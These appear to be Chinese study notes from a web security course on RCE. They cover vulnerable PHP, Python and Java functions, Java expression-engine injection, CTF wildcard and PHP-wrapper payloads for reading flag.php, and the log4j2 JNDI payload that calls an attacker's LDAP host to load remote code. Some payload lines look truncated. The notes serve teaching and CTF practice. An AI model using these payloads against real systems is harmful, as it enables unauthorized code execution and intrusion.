演示案例:
➢ WEB攻防-RCE-代码执行&命令执行
➢ WEB攻防-RCE-回显&功能点&引发链
RCE代码执行:引用脚本代码解析执行
RCE命令执行:脚本调用操作系统命令
一、漏洞函数
1.PHP:
PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
PHP命令执行函数:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
2.Python:
evalexec subprocess os.system commands等
3.Java:
Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.
php的某些函数在执行的时候会自动启动shell
java它是没有函数会自动启动shell,执行单个命令,如:whoami,直接告诉操作系统,操作系统自动执行对应命令文件。但是只要用到; | >等符号,操作系统看不懂符号,这些语法是shell程序自己实现的功能,需手动开启shell。
OGNL struts框架自带,只要命令执行自动打开shell
SPEL spring框架自带。SPEL很老实我写什么直接交给原生java执行,不加任何处理
MVEL 老OA才用和SPEL一样
RCE-代码执行
功能点举例:在线编程
RCE-命令执行
功能点举例:系统面板
RCE-Java&PHP
SPEL:(功能点举例:评论解析)
comment=T(java.lang.Runtime).getRuntime().exec(‘calc’)
其他漏洞引发链
注入,文件包含,文件上传,反序列化等引发。大多数命令执行都是其他漏洞引发
有回显&无回显
1、直接写个文件访问查看
2、直接进行对外访问接受
黑盒案例
代码在线运行平台测试
二、白盒CTF
29-通配符
system(‘tac fla*.php’);
30-取代函数&通配符&管道符
cp fla*.ph*2.txt;
echo shell_exec(‘tac fla*.ph*’);
31-参数逃逸
eval($_GET[1]);&1=system(‘tac flag.php’);
32~36-配合包含&伪协议
include$_GET[a]?>&a=data://text/plain,=system('tac flag.php');?>
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
37~39-包含RCE&伪协议&通配符
data://text/plain,
php://input post:
三、拓展:log4j2远程命令执行
参考:https://blog.csdn.net/Bossfrank/article/details/130148819
https://blog.csdn.net/Bossfrank/article/details/130148819
log4j2自带lookup表达式解析功能,日志中${xxx}格式内容会被自动解析执行。攻击者传入${jndi:ldap://攻击ip:端口/exp},服务器打印日志时触发解析,主动出站连接攻击者的LDAP服务器,恶意服务器返回远程Java类地址,目标下载并加载class文件,执行文件实现RCE
JNDI:java自带接口(同一调用入口),不是协议,无端口
LDAP:网络通讯协议,标准端口389,实战复现常用1389